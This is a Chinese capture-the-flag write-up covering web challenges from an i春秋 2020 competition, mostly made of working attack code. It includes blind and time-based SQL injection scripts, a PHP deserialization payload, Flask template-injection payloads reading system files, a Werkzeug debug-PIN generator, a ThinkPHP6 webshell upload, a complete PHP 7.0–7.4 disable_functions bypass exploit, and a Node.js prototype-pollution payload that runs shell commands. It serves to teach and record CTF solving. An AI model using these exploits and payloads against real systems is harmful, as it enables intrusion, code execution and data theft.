i春秋2020新春公益賽WEB復現Writeup

i春秋2020新春公益賽WEB復現Writeup

說實話這個比賽打的我是一點毛病都沒有,還是覺得自己掌握的東西太少了,,,
尤其是sql注入,都被大佬們玩出花來了,可能自己太菜,,,哭了!!!
關於SQL注入的一篇好文章:對MYSQL注入相關內容及部分Trick的歸類小結
之前做出來的題目有點少,,,
現在還有機會復現,復現一下,,,,,

Day1

簡單的招聘系統

這道題目白給吧,在登陸頁面存在盲注,,,,直接上腳本跑就行了,,,,

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改變標準輸出的默認編碼,否則s.text不能輸出
ss = ""
x = string.printable

url = "http://0322466e512a4d9abbd18abd6e1a56b0f5e4decb12434075.changame.ichunqiu.com/index.php"

headers = {"cookie":"PHPSESSID=dh732m3f8dh6cid1u1nq4gool2; __jsluid_h=8e14805a86acf7cbba7f9e3e53dc7685"}

payload={
	"lname":"",
	"lpass":"123"
}
#測試
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)

for i in range(1,60):
	for j in x:
		#payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1#")%(str(i),ord(j))
		#payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%s,1))=%s)=1#")%(str(i),ord(j))
		payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)=1#")%(str(i),ord(j))
		#print(payload)
		r=requests.post(url=url,headers=headers,data=payload)
		if('window.location.href="./zhaopin.php";' in r.text):
			ss += j
			#print(1)
			print(ss)
			break

'''
真:window.location.href="./zhaopin.php";
'''

有些師傅說啥admin萬能密碼登陸,然後在search for key的地方進行sql注入,,,
反正差不多吧,應該不太難,,,,,

ezupload

啥都沒過濾,,直接上傳php文件,一句話木馬,鏈接即可,,,,
在這裏插入圖片描述
看了下index.php的源碼:

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
   上傳: <input type="file" name="file_upload">
    <input type="submit">
</form>

看到這裏我笑了,,,出題者可能太累了,沒仔細看,,,,,
在這裏插入圖片描述
這完全不能達到過濾的效果,,,,,,

babyphp

打開網頁看到程序員已跑路,,,,直接嘗試了一下www.zip,下載下來了源碼:
update.php:

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>這是一個未完成的頁面,上線時建議刪除本頁面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你還沒有登陸呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

可以看見只要登陸成功就會得到flag了!!!

主要的利用頁面:

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //這個功能還沒有寫完 先佔坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("連接失敗,錯誤:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用戶不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密碼錯誤!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //還沒來得及寫
    }
}

當我第一眼看見safe函數的時候就覺得又是反序列化字符逃逸~ 事實上就是字符逃逸!!!!

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

不過我當時環境有問題,數據庫連接失敗,,,我還以爲題目就是這樣的,我也是透了猴子的!!!
可以看見有反序列化,關鍵就是構造pop鏈!!!
首先看到:
在這裏插入圖片描述
如果$this->sql=new User(),那麼就會調用User的tostring函數:
在這裏插入圖片描述
如果$this->nickname=new Info(),那麼就會調用Info的call函數:
在這裏插入圖片描述
如果這時的$this->CtrlCase=new new dbCtrl(),那麼會調用dbCtrl的login函數
而該函數可以執行任意的sql語句,並且會把值return出來,這裏我們可以把密碼帶出來!:
在這裏插入圖片描述
我們就可以構造select password,id from user where username="admin"的sql語句帶出admin的密碼!
序列化腳本:

<?php
Class UpdateHelper{
	public $sql;
	public function __construct(){
        $this->sql= new User();
    }
}

Class User{
	public $nickname;
	public $age;
	public function __construct(){
        $this->nickname = new Info();
        $this->age='select password,id from user where username="admin"';
    }
}

Class Info{
	public $CtrlCase;
	public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }
}

class dbCtrl
{	public $token;
	public function __construct(){
		$this->token = 'admin';
	}
}

$a = new UpdateHelper();
echo serialize($a);
?>

得到:
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}

有一點是需要注意的,由於我們是逃逸出來的,所以我們必須得讓程序能夠成功的序列化
我們可以調試一下正常的序列化:

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:6:"A_dmin";s:8:"CtrlCase";s:3:"111";}

age和nickname是我們能夠控制的!!!
所以payload前面要加上s:8:“CtrlCase”;然後閉合掉後面的CtrlCase,,,,
payload:

age=1&nickname=*********************************************";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,Id from user where username="admin"";}}}111

得到admin密碼:
在這裏插入圖片描述
登陸拿到flag:
在這裏插入圖片描述

盲注

打開頁面可以發現源碼:

<?php
    # flag在fl4g裏
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

可以看見有waf,但是我們可以fuzz一波,以下都是被過濾了的:
在這裏插入圖片描述
頁面也沒有回顯,估摸着是時間盲注了,不過等於等符號都被過濾了,,,
可以利用基於regexp的時間盲注,我們能看見他的sql語句嘛select * from flllllllag where id=$id
我們可以本地嘗試一下:

select * from table1 where id=1 and if((substr((flag),1,1) regexp "^f"), sleep(5),1)

發現會睡5秒,她有個提示說flag在fl4g裏,ok,編寫腳本(響應超時會報404):

import requests
import sys
import string
import io
import time


sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""
x = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

url = "http://76d9d6e1097b49b3b6647c717fbf986f62e0bc5e34e945c1.changame.ichunqiu.com/?id=1 "

for i in range(1,43):
	for j in x:
		payload = url + ('and if((substr((fl4g),%s,1) regexp "^%s"), sleep(10),1)')%(str(i),j)
		#print(payload)
		try:
			r=requests.get(payload,timeout=5)
		except Exception as e:
			flag += j
			print(flag)
			break

得到結果:
在這裏插入圖片描述

Day2

blacklist

這道題目就是那個2019強網杯的隨便注,不過不能使用那道題目的payload
因爲過濾了那道題目的payload的關鍵詞,,,,不過還是堆疊注入,能得到表名列名,,,

set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i

所以只能換一種方法,使用handle替換select查詢,,,,
payload:

1'; handler FlagHere open as hack; handler hack read first; handler hack close;

得到:
在這裏插入圖片描述

Ezsqli

打開頁面發現是個搜索框,輸入1 and 1=1發現提示hacker,,,,
輸入1 && 1=1,得到Hello Nu1L,輸入1 && 1=0得到Hello,存在注入!
fuzz一波,發現or,in,union select都被過濾了,,,,or和in被過濾無非是information不能使用
我們可以找到代替的,之前就遇見過不能使用information的注入,
可以使用sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer代替
麻煩的是union select不能同時出現,,先跑一下表名,,,書寫腳本:

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改變標準輸出的默認編碼,否則s.text不能輸出
ss = ""
x = string.printable

url = "http://82b1d678b7c34f4981d683612690549a36edb1a166894df0.changame.ichunqiu.com/"

headers = {"cookie":"__jsluid_h=cdcac10f27dac6ddb56d334f26b8b9e4"}

payload={
	"id":""
}
#測試
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)

for i in range(1,60):
	for j in x:
		payload["id"]=("1 && 1=(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%s,1))=%s)=1")%(str(i),ord(j))
		#print(payload)
		r=requests.post(url=url,headers=headers,data=payload)
		if('Hello Nu1L' in r.text):
			ss += j
			#print(1)
			print(ss)
			break

得到:
在這裏插入圖片描述
表中如果只有一列可以使用:substr((select * from table),1,1)=‘f’,題目中貌似不止一列
題中多於一列,需要將查詢語句與相同數量的列進行比較,配合 <= 進行盲注
類似於這種:(select 'admin','admin')>(select * from users limit 1)
模擬建立一個表:
在這裏插入圖片描述
執行select (select '1','e~')>(select * from table2 limit 1)顯示0
執行select (select '1','f~')>(select * from table2 limit 1)顯示1,,,,
執行select (select '1','fl~')>(select * from table2 limit 1)顯示1,所以可以進行盲注,,
exp.py:

import requests
import base64
import sys
import string
import hashlib
import io
import time

def str2hex(strs):
	ss = ""
	for i in strs:
		x = hex(ord(i))[2:]
		if(len(x) == 1):
			ss += '0' + str(x)
		else:
			ss += str(x)
	return ss

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改變標準輸出的默認編碼,否則s.text不能輸出
ss = ""
x = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

url = "http://82b1d678b7c34f4981d683612690549a36edb1a166894df0.changame.ichunqiu.com/"

headers = {"cookie":"__jsluid_h=cdcac10f27dac6ddb56d334f26b8b9e4"}

payload={
	"id":""
}
#測試
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)

for i in range(1,43):
	flag = ss
	for j in x:
		flag += j;
		#payload["id"]=("1 && 1=(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%s,1))=%s)=1")%(str(i),ord(j))
		#注意要進行16進制轉換,否則不能執行
		payload["id"] = ("1 && ((select 1,0x%s7e)>(select * from f1ag_1s_h3r3_hhhhh limit 1))")%(str2hex(flag))
		#print(payload)
		r=requests.post(url=url,headers=headers,data=payload)
		if('Hello Nu1L' in r.text):
			ss += j
			print(ss)
			break
		else:
			flag = ss

得到:
在這裏插入圖片描述
出題人的筆記:新春戰疫公益賽-ezsqli-出題小記

easysqli_copy

打開頁面得到:

<?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

參考了這篇文章:從寬字節注入認識PDO的原理和正確使用,,,,存在寬字節注入
不過沒有回顯,只能進行時間盲注,,,,
可以先進行測試一下:

url = "http://da2c319d9fca40bcbd9e0909ae4ecf8baeeca3524a314fe5.changame.ichunqiu.com/?id=1%df';"
#測試
payload="SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
r=requests.get(url+payload)
print(r.text)

利用SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;語句

0x73656C65637420696628313D302C736C656570283130292C3129 = select if(1=0,sleep(10),1)
發現不會延遲
0x73656C65637420696628313D312C736C656570283130292C3129 = select if(1=1,sleep(10),1)
頁面直接404

直接進行注入,,,,寫腳本,,,,
exp:

import requests
import sys
import io
import time

def str2hex(strs):
	ss = ""
	for i in strs:
		x = hex(ord(i))[2:]
		if(len(x) == 1):
			ss += '0' + str(x)
		else:
			ss += str(x)
	return ss
	
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8')		#改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""

url = "http://da2c319d9fca40bcbd9e0909ae4ecf8baeeca3524a314fe5.changame.ichunqiu.com/?id=1%df';"
'''
#測試
#payload="SET @x=0x73656C65637420696628313D312C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
#payload="SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
try:
	r=requests.get(url+payload,timeout=5)
except Exception as e:
	print("TRUE!")
'''
payload1 = "SET @x=0x%s;PREPARE a FROM @x;EXECUTE a;"
#payload2 = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),%s,1))=%s,sleep(10),1)";
payload2 = "select if(ascii(substr((select fllllll4g from table1),%s,1))=%s,sleep(10),1)"
for i in range(1,43):
	for j in range(32,126):
		x = payload2%(str(i),str(j))
		payload = url + payload1%(str2hex(x))
		#print(payload)
		try:
			r=requests.get(payload,timeout=5)
		except Exception as e:
			flag += chr(j)
			print(flag)
			break

得到:
在這裏插入圖片描述

Day3

Flaskapp

打開可以看見有提示:
在這裏插入圖片描述
pin!!直接百度了一下,找到了一篇文章:Flask debug pin安全問題
發現該網站有該bug,在解密時提交錯誤的字符串會出現debug界面,修改需要我們輸入pin碼:
在這裏插入圖片描述
不過好像還缺少任意文件讀取,,,,,,
其實在base64decode處存在ssti模板注入,,,,把{{config}}base64加密後提交得到:
在這裏插入圖片描述
貌似模板注入的命令執行不行,,,沒試出來,,,,
flask讀取文件的payload:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

得到:
在這裏插入圖片描述
能行,獲取該有的變量,用戶名得到了~~

flaskweb:x:1000:1000::/home/flaskweb:

獲取machine-id:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532 

在docker環境中不能直接讀/etc/machine-id,否在pin會不對
在這裏插入圖片描述
獲取Mac地址:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
02:42:ac:12:00:09
十進制:2485377957897

路徑報錯就有:

/usr/local/lib/python3.7/site-packages/flask/app.py

利用文章中的exp:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377957897',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到pin碼:
在這裏插入圖片描述
成功進入python控制檯:
在這裏插入圖片描述
讀取flag文件:
在這裏插入圖片描述
其實比賽中已經找到了這篇文章,but沒有發現還有模板注入,,自閉,,,

easy_thinking

這道題目我上了一波車,,,,:
在這裏插入圖片描述
利用ThinkPHP6的漏洞,先註冊一個賬號
在登錄時候burp抓包,修改session,將session改成.php結尾,注意長度必須是32位
在這裏插入圖片描述
然後去搜索頁面抓包修改session,並在搜索處插入木馬:
在這裏插入圖片描述
可以看見:
在這裏插入圖片描述
使用蟻劍鏈接得到:
在這裏插入圖片描述
不過禁用了很多的函數:
在這裏插入圖片描述
接下來就像極客的那道rec了,不過他裏面有exp,這裏需要我們自己弄
直接上傳成功:
在這裏插入圖片描述
得到:
在這裏插入圖片描述
exp.php:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

ezExpress

這道題目怎麼說呢,,,在buu上覆現成功了,但是原網站卻沒有,自閉,,,
首先題目要求我們能夠登陸成功,利用javascript大小寫特性繞過:

ADMıN

註冊ADMıN賬號,成功登陸進去,接下來就是利用原型鏈污染了,,,
payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}

在這裏插入圖片描述
當看見成功時,去訪問一下info:
在這裏插入圖片描述
在這裏插入圖片描述
然後去訪問一下flag文件,就能夠直接下載到!得到flag:
在這裏插入圖片描述
在這裏插入圖片描述
不過在原網站上沒有成功,不知道爲什麼,命令雖然執行成功了,但是找不到flag文件,,
換其他命令貌似也沒得用,嚶嚶嚶,自己好菜,又是自閉的一天!!!
希望有知道的師傅能指導我一下爲什麼~~感激不盡

node_game

暫緩~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章